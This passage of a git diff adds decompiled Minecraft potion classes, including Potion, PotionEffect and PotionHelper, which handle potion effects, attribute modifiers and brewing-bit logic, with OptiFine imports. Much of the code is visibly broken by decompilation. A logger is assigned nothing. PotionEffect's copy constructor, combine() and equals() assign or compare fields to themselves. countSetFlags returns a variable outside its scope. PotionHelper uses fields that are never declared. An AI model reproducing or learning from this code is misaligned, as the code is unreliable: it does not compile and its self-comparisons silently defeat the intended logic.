+        int var7 = (int)(p_180793_5_ * (6 << p_180793_4_) + 0.5D);
+        
+        if (p_180793_1_ == null)
+        {
+          p_180793_3_.attackEntityFrom(DamageSource.magic, var7);
+        }
+        else
+        {
+          p_180793_3_.attackEntityFrom(DamageSource.causeIndirectMagicDamage(p_180793_1_, p_180793_2_), var7);
+        }
+      }
+    }
+    else
+    {
+      int var7 = (int)(p_180793_5_ * (4 << p_180793_4_) + 0.5D);
+      p_180793_3_.heal(var7);
+    }
+  }
+  
+
+
+
+  public boolean isInstant()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public boolean isReady(int p_76397_1_, int p_76397_2_)
+  {
+    if (id == regenerationid)
+    {
+      int var3 = 50 >> p_76397_2_;
+      return p_76397_1_ % var3 == 0;
+    }
+    if (id == poisonid)
+    {
+      int var3 = 25 >> p_76397_2_;
+      return p_76397_1_ % var3 == 0;
+    }
+    if (id == witherid)
+    {
+      int var3 = 40 >> p_76397_2_;
+      return p_76397_1_ % var3 == 0;
+    }
+    
+
+    return id == hungerid;
+  }
+  
+
+
+
+
+  public Potion setPotionName(String p_76390_1_)
+  {
+    name = p_76390_1_;
+    return this;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+  public boolean hasStatusIcon()
+  {
+    return statusIconIndex >= 0;
+  }
+  
+
+
+
+  public int getStatusIconIndex()
+  {
+    return statusIconIndex;
+  }
+  
+
+
+
+  public boolean isBadEffect()
+  {
+    return isBadEffect;
+  }
+  
+  public static String getDurationString(PotionEffect p_76389_0_)
+  {
+    if (p_76389_0_.getIsPotionDurationMax())
+    {
+      return "**:**";
+    }
+    
+
+    int var1 = p_76389_0_.getDuration();
+    return StringUtils.ticksToElapsedTime(var1);
+  }
+  
+
+  protected Potion setEffectiveness(double p_76404_1_)
+  {
+    effectiveness = p_76404_1_;
+    return this;
+  }
+  
+  public double getEffectiveness()
+  {
+    return effectiveness;
+  }
+  
+  public boolean isUsable()
+  {
+    return usable;
+  }
+  
+
+
+
+  public int getLiquidColor()
+  {
+    return liquidColor;
+  }
+  
+
+
+
+  public Potion registerPotionAttributeModifier(IAttribute p_111184_1_, String p_111184_2_, double p_111184_3_, int p_111184_5_)
+  {
+    AttributeModifier var6 = new AttributeModifier(java.util.UUID.fromString(p_111184_2_), getName(), p_111184_3_, p_111184_5_);
+    attributeModifierMap.put(p_111184_1_, var6);
+    return this;
+  }
+  
+  public Map func_111186_k()
+  {
+    return attributeModifierMap;
+  }
+  
+  public void removeAttributesModifiersFromEntity(EntityLivingBase p_111187_1_, BaseAttributeMap p_111187_2_, int p_111187_3_)
+  {
+    Iterator var4 = attributeModifierMap.entrySet().iterator();
+    
+    while (var4.hasNext())
+    {
+      Map.Entry var5 = (Map.Entry)var4.next();
+      IAttributeInstance var6 = p_111187_2_.getAttributeInstance((IAttribute)var5.getKey());
+      
+      if (var6 != null)
+      {
+        var6.removeModifier((AttributeModifier)var5.getValue());
+      }
+    }
+  }
+  
+  public void applyAttributesModifiersToEntity(EntityLivingBase p_111185_1_, BaseAttributeMap p_111185_2_, int p_111185_3_)
+  {
+    Iterator var4 = attributeModifierMap.entrySet().iterator();
+    
+    while (var4.hasNext())
+    {
+      Map.Entry var5 = (Map.Entry)var4.next();
+      IAttributeInstance var6 = p_111185_2_.getAttributeInstance((IAttribute)var5.getKey());
+      
+      if (var6 != null)
+      {
+        AttributeModifier var7 = (AttributeModifier)var5.getValue();
+        var6.removeModifier(var7);
+        var6.applyModifier(new AttributeModifier(var7.getID(), getName() + " " + p_111185_3_, func_111183_a(p_111185_3_, var7), var7.getOperation()));
+      }
+    }
+  }
+  
+  public double func_111183_a(int p_111183_1_, AttributeModifier p_111183_2_)
+  {
+    return p_111183_2_.getAmount() * (p_111183_1_ + 1);
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/PotionAbsoption.java b/src/minecraft/net/minecraft/potion/PotionAbsoption.java
new file mode 100644
index 0000000..5a58510
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/PotionAbsoption.java
@@ -0,0 +1,27 @@
+package net.minecraft.potion;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.util.ResourceLocation;
+
+public class PotionAbsoption extends Potion
+{
+  private static final String __OBFID = "CL_00001524";
+  
+  protected PotionAbsoption(int p_i45901_1_, ResourceLocation p_i45901_2_, boolean p_i45901_3_, int p_i45901_4_)
+  {
+    super(p_i45901_1_, p_i45901_2_, p_i45901_3_, p_i45901_4_);
+  }
+  
+  public void removeAttributesModifiersFromEntity(EntityLivingBase p_111187_1_, BaseAttributeMap p_111187_2_, int p_111187_3_)
+  {
+    p_111187_1_.setAbsorptionAmount(p_111187_1_.getAbsorptionAmount() - 4 * (p_111187_3_ + 1));
+    super.removeAttributesModifiersFromEntity(p_111187_1_, p_111187_2_, p_111187_3_);
+  }
+  
+  public void applyAttributesModifiersToEntity(EntityLivingBase p_111185_1_, BaseAttributeMap p_111185_2_, int p_111185_3_)
+  {
+    p_111185_1_.setAbsorptionAmount(p_111185_1_.getAbsorptionAmount() + 4 * (p_111185_3_ + 1));
+    super.applyAttributesModifiersToEntity(p_111185_1_, p_111185_2_, p_111185_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/PotionAttackDamage.java b/src/minecraft/net/minecraft/potion/PotionAttackDamage.java
new file mode 100644
index 0000000..99880df
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/PotionAttackDamage.java
@@ -0,0 +1,19 @@
+package net.minecraft.potion;
+
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.util.ResourceLocation;
+
+public class PotionAttackDamage extends Potion
+{
+  private static final String __OBFID = "CL_00001525";
+  
+  protected PotionAttackDamage(int p_i45900_1_, ResourceLocation p_i45900_2_, boolean p_i45900_3_, int p_i45900_4_)
+  {
+    super(p_i45900_1_, p_i45900_2_, p_i45900_3_, p_i45900_4_);
+  }
+  
+  public double func_111183_a(int p_111183_1_, AttributeModifier p_111183_2_)
+  {
+    return id == weaknessid ? -0.5F * (p_111183_1_ + 1) : 1.3D * (p_111183_1_ + 1);
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/PotionEffect.java b/src/minecraft/net/minecraft/potion/PotionEffect.java
new file mode 100644
index 0000000..c714b66
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/PotionEffect.java
@@ -0,0 +1,256 @@
+package net.minecraft.potion;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.nbt.NBTTagCompound;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class PotionEffect
+{
+  private static final Logger LOGGER = ;
+  
+
+  private int potionID;
+  
+
+  private int duration;
+  
+
+  private int amplifier;
+  
+  private boolean isSplashPotion;
+  
+  private boolean isAmbient;
+  
+  private boolean isPotionDurationMax;
+  
+  private boolean showParticles;
+  
+  private static final String __OBFID = "CL_00001529";
+  
+
+  public PotionEffect(int id, int effectDuration)
+  {
+    this(id, effectDuration, 0);
+  }
+  
+  public PotionEffect(int id, int effectDuration, int effectAmplifier)
+  {
+    this(id, effectDuration, effectAmplifier, false, true);
+  }
+  
+  public PotionEffect(int id, int effectDuration, int effectAmplifier, boolean ambient, boolean showParticles)
+  {
+    potionID = id;
+    duration = effectDuration;
+    amplifier = effectAmplifier;
+    isAmbient = ambient;
+    this.showParticles = showParticles;
+  }
+  
+  public PotionEffect(PotionEffect other)
+  {
+    potionID = potionID;
+    duration = duration;
+    amplifier = amplifier;
+    isAmbient = isAmbient;
+    showParticles = showParticles;
+  }
+  
+
+
+
+
+  public void combine(PotionEffect other)
+  {
+    if (potionID != potionID)
+    {
+      LOGGER.warn("This method should only be called for matching effects!");
+    }
+    
+    if (amplifier > amplifier)
+    {
+      amplifier = amplifier;
+      duration = duration;
+    }
+    else if ((amplifier == amplifier) && (duration < duration))
+    {
+      duration = duration;
+    }
+    else if ((!isAmbient) && (isAmbient))
+    {
+      isAmbient = isAmbient;
+    }
+    
+    showParticles = showParticles;
+  }
+  
+
+
+
+  public int getPotionID()
+  {
+    return potionID;
+  }
+  
+  public int getDuration()
+  {
+    return duration;
+  }
+  
+  public int getAmplifier()
+  {
+    return amplifier;
+  }
+  
+
+
+
+  public void setSplashPotion(boolean splashPotion)
+  {
+    isSplashPotion = splashPotion;
+  }
+  
+
+
+
+  public boolean getIsAmbient()
+  {
+    return isAmbient;
+  }
+  
+  public boolean func_180154_f()
+  {
+    return showParticles;
+  }
+  
+  public boolean onUpdate(EntityLivingBase entityIn)
+  {
+    if (duration > 0)
+    {
+      if (Potion.potionTypes[potionID].isReady(duration, amplifier))
+      {
+        performEffect(entityIn);
+      }
+      
+      deincrementDuration();
+    }
+    
+    return duration > 0;
+  }
+  
+  private int deincrementDuration()
+  {
+    return --duration;
+  }
+  
+  public void performEffect(EntityLivingBase entityIn)
+  {
+    if (duration > 0)
+    {
+      Potion.potionTypes[potionID].performEffect(entityIn, amplifier);
+    }
+  }
+  
+  public String getEffectName()
+  {
+    return Potion.potionTypes[potionID].getName();
+  }
+  
+  public int hashCode()
+  {
+    return potionID;
+  }
+  
+  public String toString()
+  {
+    String var1 = "";
+    
+    if (getAmplifier() > 0)
+    {
+      var1 = getEffectName() + " x " + (getAmplifier() + 1) + ", Duration: " + getDuration();
+    }
+    else
+    {
+      var1 = getEffectName() + ", Duration: " + getDuration();
+    }
+    
+    if (isSplashPotion)
+    {
+      var1 = var1 + ", Splash: true";
+    }
+    
+    if (!showParticles)
+    {
+      var1 = var1 + ", Particles: false";
+    }
+    
+    return Potion.potionTypes[potionID].isUsable() ? "(" + var1 + ")" : var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!(p_equals_1_ instanceof PotionEffect))
+    {
+      return false;
+    }
+    
+
+    PotionEffect var2 = (PotionEffect)p_equals_1_;
+    return (potionID == potionID) && (amplifier == amplifier) && (duration == duration) && (isSplashPotion == isSplashPotion) && (isAmbient == isAmbient);
+  }
+  
+
+
+
+
+  public NBTTagCompound writeCustomPotionEffectToNBT(NBTTagCompound nbt)
+  {
+    nbt.setByte("Id", (byte)getPotionID());
+    nbt.setByte("Amplifier", (byte)getAmplifier());
+    nbt.setInteger("Duration", getDuration());
+    nbt.setBoolean("Ambient", getIsAmbient());
+    nbt.setBoolean("ShowParticles", func_180154_f());
+    return nbt;
+  }
+  
+
+
+
+  public static PotionEffect readCustomPotionEffectFromNBT(NBTTagCompound nbt)
+  {
+    byte var1 = nbt.getByte("Id");
+    
+    if ((var1 >= 0) && (var1 < Potion.potionTypes.length) && (Potion.potionTypes[var1] != null))
+    {
+      byte var2 = nbt.getByte("Amplifier");
+      int var3 = nbt.getInteger("Duration");
+      boolean var4 = nbt.getBoolean("Ambient");
+      boolean var5 = true;
+      
+      if (nbt.hasKey("ShowParticles", 1))
+      {
+        var5 = nbt.getBoolean("ShowParticles");
+      }
+      
+      return new PotionEffect(var1, var3, var2, var4, var5);
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setPotionDurationMax(boolean maxDuration)
+  {
+    isPotionDurationMax = maxDuration;
+  }
+  
+  public boolean getIsPotionDurationMax()
+  {
+    return isPotionDurationMax;
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/PotionHealth.java b/src/minecraft/net/minecraft/potion/PotionHealth.java
new file mode 100644
index 0000000..1ba9852
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/PotionHealth.java
@@ -0,0 +1,29 @@
+package net.minecraft.potion;
+
+import net.minecraft.util.ResourceLocation;
+
+public class PotionHealth extends Potion
+{
+  private static final String __OBFID = "CL_00001527";
+  
+  public PotionHealth(int p_i45898_1_, ResourceLocation p_i45898_2_, boolean p_i45898_3_, int p_i45898_4_)
+  {
+    super(p_i45898_1_, p_i45898_2_, p_i45898_3_, p_i45898_4_);
+  }
+  
+
+
+
+  public boolean isInstant()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean isReady(int p_76397_1_, int p_76397_2_)
+  {
+    return p_76397_1_ >= 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/PotionHealthBoost.java b/src/minecraft/net/minecraft/potion/PotionHealthBoost.java
new file mode 100644
index 0000000..32b474f
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/PotionHealthBoost.java
@@ -0,0 +1,25 @@
+package net.minecraft.potion;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.util.ResourceLocation;
+
+public class PotionHealthBoost extends Potion
+{
+  private static final String __OBFID = "CL_00001526";
+  
+  public PotionHealthBoost(int p_i45899_1_, ResourceLocation p_i45899_2_, boolean p_i45899_3_, int p_i45899_4_)
+  {
+    super(p_i45899_1_, p_i45899_2_, p_i45899_3_, p_i45899_4_);
+  }
+  
+  public void removeAttributesModifiersFromEntity(EntityLivingBase p_111187_1_, BaseAttributeMap p_111187_2_, int p_111187_3_)
+  {
+    super.removeAttributesModifiersFromEntity(p_111187_1_, p_111187_2_, p_111187_3_);
+    
+    if (p_111187_1_.getHealth() > p_111187_1_.getMaxHealth())
+    {
+      p_111187_1_.setHealth(p_111187_1_.getMaxHealth());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/potion/PotionHelper.java b/src/minecraft/net/minecraft/potion/PotionHelper.java
new file mode 100644
index 0000000..a3041ab
--- /dev/null
+++ b/src/minecraft/net/minecraft/potion/PotionHelper.java
@@ -0,0 +1,652 @@
+package net.minecraft.potion;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import optifine.Config;
+import optifine.CustomColors;
+
+
+
+public class PotionHelper
+{
+  public static final String field_77924_a = null;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Map field_179539_o = Maps.newHashMap();
+  private static final Map field_179540_p = Maps.newHashMap();
+  
+
+
+
+
+
+
+
+  public static boolean checkFlag(int p_77914_0_, int p_77914_1_)
+  {
+    return (p_77914_0_ & 1 << p_77914_1_) != 0;
+  }
+  
+
+
+
+  private static int isFlagSet(int p_77910_0_, int p_77910_1_)
+  {
+    return checkFlag(p_77910_0_, p_77910_1_) ? 1 : 0;
+  }
+  
+
+
+
+  private static int isFlagUnset(int p_77916_0_, int p_77916_1_)
+  {
+    return checkFlag(p_77916_0_, p_77916_1_) ? 0 : 1;
+  }
+  
+  public static int func_77909_a(int p_77909_0_)
+  {
+    return func_77908_a(p_77909_0_, 5, 4, 3, 2, 1);
+  }
+  
+
+
+
+  public static int calcPotionLiquidColor(Collection p_77911_0_)
+  {
+    int var1 = 3694022;
+    
+    if ((p_77911_0_ != null) && (!p_77911_0_.isEmpty()))
+    {
+      float var2 = 0.0F;
+      float var3 = 0.0F;
+      float var4 = 0.0F;
+      float var5 = 0.0F;
+      Iterator var6 = p_77911_0_.iterator();
+      
+      while (var6.hasNext())
+      {
+        PotionEffect var7 = (PotionEffect)var6.next();
+        
+        if (var7.func_180154_f())
+        {
+          int var8 = Potion.potionTypes[var7.getPotionID()].getLiquidColor();
+          
+          if (Config.isCustomColors())
+          {
+            var8 = CustomColors.getPotionColor(var7.getPotionID(), var8);
+          }
+          
+          for (int var9 = 0; var9 <= var7.getAmplifier(); var9++)
+          {
+            var2 += (var8 >> 16 & 0xFF) / 255.0F;
+            var3 += (var8 >> 8 & 0xFF) / 255.0F;
+            var4 += (var8 >> 0 & 0xFF) / 255.0F;
+            var5 += 1.0F;
+          }
+        }
+      }
+      
+      if (var5 == 0.0F)
+      {
+        return 0;
+      }
+      
+
+      var2 = var2 / var5 * 255.0F;
+      var3 = var3 / var5 * 255.0F;
+      var4 = var4 / var5 * 255.0F;
+      return (int)var2 << 16 | (int)var3 << 8 | (int)var4;
+    }
+    
+
+
+    if (Config.isCustomColors())
+    {
+      var1 = CustomColors.getPotionColor(0, var1);
+    }
+    
+    return var1;
+  }
+  
+
+  public static boolean func_82817_b(Collection potionEffects)
+  {
+    Iterator var1 = potionEffects.iterator();
+    
+    while (var1.hasNext())
+    {
+      PotionEffect var2 = (PotionEffect)var1.next();
+      
+      if (!var2.getIsAmbient())
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  public static int func_77915_a(int dataValue, boolean bypassCache)
+  {
+    if (!bypassCache)
+    {
+      if (field_77925_n.containsKey(Integer.valueOf(dataValue)))
+      {
+        return ((Integer)field_77925_n.get(Integer.valueOf(dataValue))).intValue();
+      }
+      
+
+      int var2 = calcPotionLiquidColor(getPotionEffects(dataValue, false));
+      field_77925_n.put(Integer.valueOf(dataValue), Integer.valueOf(var2));
+      return var2;
+    }
+    
+
+
+    return calcPotionLiquidColor(getPotionEffects(dataValue, true));
+  }
+  
+
+  public static String func_77905_c(int p_77905_0_)
+  {
+    int var1 = func_77909_a(p_77905_0_);
+    return potionPrefixes[var1];
+  }
+  
+  private static int func_77904_a(boolean p_77904_0_, boolean p_77904_1_, boolean p_77904_2_, int p_77904_3_, int p_77904_4_, int p_77904_5_, int p_77904_6_)
+  {
+    int var7 = 0;
+    
+    if (p_77904_0_)
+    {
+      var7 = isFlagUnset(p_77904_6_, p_77904_4_);
+    }
+    else if (p_77904_3_ != -1)
+    {
+      if ((p_77904_3_ == 0) && (countSetFlags(p_77904_6_) == p_77904_4_))
+      {
+        var7 = 1;
+      }
+      else if ((p_77904_3_ == 1) && (countSetFlags(p_77904_6_) > p_77904_4_))
+      {
+        var7 = 1;
+      }
+      else if ((p_77904_3_ == 2) && (countSetFlags(p_77904_6_) < p_77904_4_))
+      {
+        var7 = 1;
+      }
+      
+    }
+    else {
+      var7 = isFlagSet(p_77904_6_, p_77904_4_);
+    }
+    
+    if (p_77904_1_)
+    {
+      var7 *= p_77904_5_;
+    }
+    
+    if (p_77904_2_)
+    {
+      var7 *= -1;
+    }
+    
+    return var7;
+  }
+  
+
+
+
+
+
+  private static int countSetFlags(int p_77907_0_)
+  {
+    for (int var1 = 0; p_77907_0_ > 0; var1++)
+    {
+      p_77907_0_ &= p_77907_0_ - 1;
+    }
+    
+    return var1;
+  }
+  
+  private static int parsePotionEffects(String p_77912_0_, int p_77912_1_, int p_77912_2_, int p_77912_3_)
+  {
+    if ((p_77912_1_ < p_77912_0_.length()) && (p_77912_2_ >= 0) && (p_77912_1_ < p_77912_2_))
+    {
+      int var4 = p_77912_0_.indexOf('|', p_77912_1_);
+      
+
+
+      if ((var4 >= 0) && (var4 < p_77912_2_))
+      {
+        int var5 = parsePotionEffects(p_77912_0_, p_77912_1_, var4 - 1, p_77912_3_);
+        
+        if (var5 > 0)
+        {
+          return var5;
+        }
+        
+
+        int var17 = parsePotionEffects(p_77912_0_, var4 + 1, p_77912_2_, p_77912_3_);
+        return var17 > 0 ? var17 : 0;
+      }
+      
+
+
+      int var5 = p_77912_0_.indexOf('&', p_77912_1_);
+      
+      if ((var5 >= 0) && (var5 < p_77912_2_))
+      {
+        int var17 = parsePotionEffects(p_77912_0_, p_77912_1_, var5 - 1, p_77912_3_);
+        
+        if (var17 <= 0)
+        {
+          return 0;
+        }
+        
+
+        int var18 = parsePotionEffects(p_77912_0_, var5 + 1, p_77912_2_, p_77912_3_);
+        return var17 > var18 ? var17 : var18 <= 0 ? 0 : var18;
+      }
+      
+
+
+      boolean var6 = false;
+      boolean var7 = false;
+      boolean var8 = false;
+      boolean var9 = false;
+      boolean var10 = false;
+      byte var11 = -1;
+      int var12 = 0;
+      int var13 = 0;
+      int var14 = 0;
+      
+      for (int var15 = p_77912_1_; var15 < p_77912_2_; var15++)
+      {
+        char var16 = p_77912_0_.charAt(var15);
+        
+        if ((var16 >= '0') && (var16 <= '9'))
+        {
+          if (var6)
+          {
+            var13 = var16 - '0';
+            var7 = true;
+          }
+          else
+          {
+            var12 *= 10;
+            var12 += var16 - '0';
+            var8 = true;
+          }
+        }
+        else if (var16 == '*')
+        {
+          var6 = true;
+        }
+        else if (var16 == '!')
+        {
+          if (var8)
+          {
+            var14 += func_77904_a(var9, var7, var10, var11, var12, var13, p_77912_3_);
+            var9 = false;
+            var10 = false;
+            var6 = false;
+            var7 = false;
+            var8 = false;
+            var13 = 0;
+            var12 = 0;
+            var11 = -1;
+          }
+          
+          var9 = true;
+        }
+        else if (var16 == '-')
+        {
+          if (var8)
+          {
+            var14 += func_77904_a(var9, var7, var10, var11, var12, var13, p_77912_3_);
+            var9 = false;
+            var10 = false;
+            var6 = false;
+            var7 = false;
+            var8 = false;
+            var13 = 0;
+            var12 = 0;
+            var11 = -1;
+          }
+          
+          var10 = true;
+        }
+        else if ((var16 != '=') && (var16 != '<') && (var16 != '>'))
+        {
+          if ((var16 == '+') && (var8))
+          {
+            var14 += func_77904_a(var9, var7, var10, var11, var12, var13, p_77912_3_);
+            var9 = false;
+            var10 = false;
+            var6 = false;
+            var7 = false;
+            var8 = false;
+            var13 = 0;
+            var12 = 0;
+            var11 = -1;
+          }
+        }
+        else
+        {
+          if (var8)
+          {
+            var14 += func_77904_a(var9, var7, var10, var11, var12, var13, p_77912_3_);
+            var9 = false;
+            var10 = false;
+            var6 = false;
+            var7 = false;
+            var8 = false;
+            var13 = 0;
+            var12 = 0;
+            var11 = -1;
+          }
+          
+          if (var16 == '=')
+          {
+            var11 = 0;
+          }
+          else if (var16 == '<')
+          {
+            var11 = 2;
+          }
+          else if (var16 == '>')
+          {
+            var11 = 1;
+          }
+        }
+      }
+      
+      if (var8)
+      {
+        var14 += func_77904_a(var9, var7, var10, var11, var12, var13, p_77912_3_);
+      }
+      
+      return var14;
+    }
+    
+
+
+
+    return 0;
+  }
+  
+
+
+
+
+  public static List getPotionEffects(int p_77917_0_, boolean p_77917_1_)
+  {
+    ArrayList var2 = null;
+    Potion[] var3 = Potion.potionTypes;
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      Potion var6 = var3[var5];
+      
+      if ((var6 != null) && ((!var6.isUsable()) || (p_77917_1_)))
+      {
+        String var7 = (String)field_179539_o.get(Integer.valueOf(var6.getId()));
+        
+        if (var7 != null)
+        {
+          int var8 = parsePotionEffects(var7, 0, var7.length(), p_77917_0_);
+          
+          if (var8 > 0)
+          {
+            int var9 = 0;
+            String var10 = (String)field_179540_p.get(Integer.valueOf(var6.getId()));
+            
+            if (var10 != null)
+            {
+              var9 = parsePotionEffects(var10, 0, var10.length(), p_77917_0_);
+              
+              if (var9 < 0)
+              {
+                var9 = 0;
+              }
+            }
+            
+            if (var6.isInstant())
+            {
+              var8 = 1;
+            }
+            else
+            {
+              var8 = 1200 * (var8 * 3 + (var8 - 1) * 2);
+              var8 >>= var9;
+              var8 = (int)Math.round(var8 * var6.getEffectiveness());
+              
+              if ((p_77917_0_ & 0x4000) != 0)
+              {
+                var8 = (int)Math.round(var8 * 0.75D + 0.5D);
+              }
+            }
+            
+            if (var2 == null)
+            {
+              var2 = Lists.newArrayList();
+            }
+            
+            PotionEffect var11 = new PotionEffect(var6.getId(), var8, var9);
+            
+            if ((p_77917_0_ & 0x4000) != 0)
+            {
+              var11.setSplashPotion(true);
+            }
+            
+            var2.add(var11);
+          }
+        }
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  private static int brewBitOperations(int p_77906_0_, int p_77906_1_, boolean p_77906_2_, boolean p_77906_3_, boolean p_77906_4_)
+  {
+    if (p_77906_4_)
+    {
+      if (!checkFlag(p_77906_0_, p_77906_1_))
+      {
+        return 0;
+      }
+    }
+    else if (p_77906_2_)
+    {
+      p_77906_0_ &= (1 << p_77906_1_ ^ 0xFFFFFFFF);
+    }
+    else if (p_77906_3_)
+    {
+      if ((p_77906_0_ & 1 << p_77906_1_) == 0)
+      {
+        p_77906_0_ |= 1 << p_77906_1_;
+      }
+      else
+      {
+        p_77906_0_ &= (1 << p_77906_1_ ^ 0xFFFFFFFF);
+      }
+      
+    }
+    else {
+      p_77906_0_ |= 1 << p_77906_1_;
+    }
+    
+    return p_77906_0_;
+  }
+  
+
+
+
+  public static int applyIngredient(int p_77913_0_, String p_77913_1_)
+  {
+    byte var2 = 0;
+    int var3 = p_77913_1_.length();
+    boolean var4 = false;
+    boolean var5 = false;
+    boolean var6 = false;
+    boolean var7 = false;
+    int var8 = 0;
+    
+    for (int var9 = var2; var9 < var3; var9++)
+    {
+      char var10 = p_77913_1_.charAt(var9);
+      
+      if ((var10 >= '0') && (var10 <= '9'))
+      {
+        var8 *= 10;
+        var8 += var10 - '0';
+        var4 = true;
+      }
+      else if (var10 == '!')
+      {
+        if (var4)
+        {
+          p_77913_0_ = brewBitOperations(p_77913_0_, var8, var6, var5, var7);
+          var7 = false;
+          var5 = false;
+          var6 = false;
+          var4 = false;
+          var8 = 0;
+        }
+        
+        var5 = true;
+      }
+      else if (var10 == '-')
+      {
+        if (var4)
+        {
+          p_77913_0_ = brewBitOperations(p_77913_0_, var8, var6, var5, var7);
+          var7 = false;
+          var5 = false;
+          var6 = false;
+          var4 = false;
+          var8 = 0;
+        }
+        
+        var6 = true;
+      }
+      else if (var10 == '+')
+      {
+        if (var4)
+        {
+          p_77913_0_ = brewBitOperations(p_77913_0_, var8, var6, var5, var7);
+          var7 = false;
+          var5 = false;
+          var6 = false;
+          var4 = false;
+          var8 = 0;
+        }
+      }
+      else if (var10 == '&')
+      {
+        if (var4)
+        {
+          p_77913_0_ = brewBitOperations(p_77913_0_, var8, var6, var5, var7);
+          var7 = false;
+          var5 = false;
+          var6 = false;
+          var4 = false;
+          var8 = 0;
+        }
+        
+        var7 = true;
+      }
+    }
+    
+    if (var4)
+    {
+      p_77913_0_ = brewBitOperations(p_77913_0_, var8, var6, var5, var7);
+    }
+    
+    return p_77913_0_ & 0x7FFF;
+  }
+  
+  public static int func_77908_a(int p_77908_0_, int p_77908_1_, int p_77908_2_, int p_77908_3_, int p_77908_4_, int p_77908_5_)
+  {
+    return (checkFlag(p_77908_0_, p_77908_1_) ? 16 : 0) | (checkFlag(p_77908_0_, p_77908_2_) ? 8 : 0) | (checkFlag(p_77908_0_, p_77908_3_) ? 4 : 0) | (checkFlag(p_77908_0_, p_77908_4_) ? 2 : 0) | (checkFlag(p_77908_0_, p_77908_5_) ? 1 : 0);
+  }
+  
+  public static void clearPotionColorCache()
+  {
+    field_77925_n.clear();
+  }
+  
+  static
+  {
+    field_179539_o.put(Integer.valueOf(Potion.regeneration.getId()), "0 & !1 & !2 & !3 & 0+6");
+    sugarEffect = "-0+1-2-3&4-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.moveSpeed.getId()), "!0 & 1 & !2 & !3 & 1+6");
+    magmaCreamEffect = "+0+1-2-3&4-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.fireResistance.getId()), "0 & 1 & !2 & !3 & 0+6");
+    speckledMelonEffect = "+0-1+2-3&4-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.heal.getId()), "0 & !1 & 2 & !3");
+    spiderEyeEffect = "-0-1+2-3&4-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.poison.getId()), "!0 & !1 & 2 & !3 & 2+6");
+    fermentedSpiderEyeEffect = "-0+3-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.weakness.getId()), "!0 & !1 & !2 & 3 & 3+6");
+    field_179539_o.put(Integer.valueOf(Potion.harm.getId()), "!0 & !1 & 2 & 3");
+    field_179539_o.put(Integer.valueOf(Potion.moveSlowdown.getId()), "!0 & 1 & !2 & 3 & 3+6");
+    blazePowderEffect = "+0-1-2+3&4-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.damageBoost.getId()), "0 & !1 & !2 & 3 & 3+6");
+    goldenCarrotEffect = "-0+1+2-3+13&4-4";
+    field_179539_o.put(Integer.valueOf(Potion.nightVision.getId()), "!0 & 1 & 2 & !3 & 2+6");
+    field_179539_o.put(Integer.valueOf(Potion.invisibility.getId()), "!0 & 1 & 2 & 3 & 2+6");
+    field_151423_m = "+0-1+2+3+13&4-4";
+    field_179539_o.put(Integer.valueOf(Potion.waterBreathing.getId()), "0 & !1 & 2 & 3 & 2+6");
+    field_179538_n = "+0+1-2+3&4-4+13";
+    field_179539_o.put(Integer.valueOf(Potion.jump.getId()), "0 & 1 & !2 & 3");
+    glowstoneEffect = "+5-6-7";
+    field_179540_p.put(Integer.valueOf(Potion.moveSpeed.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.digSpeed.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.damageBoost.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.regeneration.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.harm.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.heal.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.resistance.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.poison.getId()), "5");
+    field_179540_p.put(Integer.valueOf(Potion.jump.getId()), "5"); }
+  public static final String redstoneEffect = "-5+6-7";
+  public static final String gunpowderEffect = "+14&13-13";
+  private static final Map field_77925_n = Maps.newHashMap();
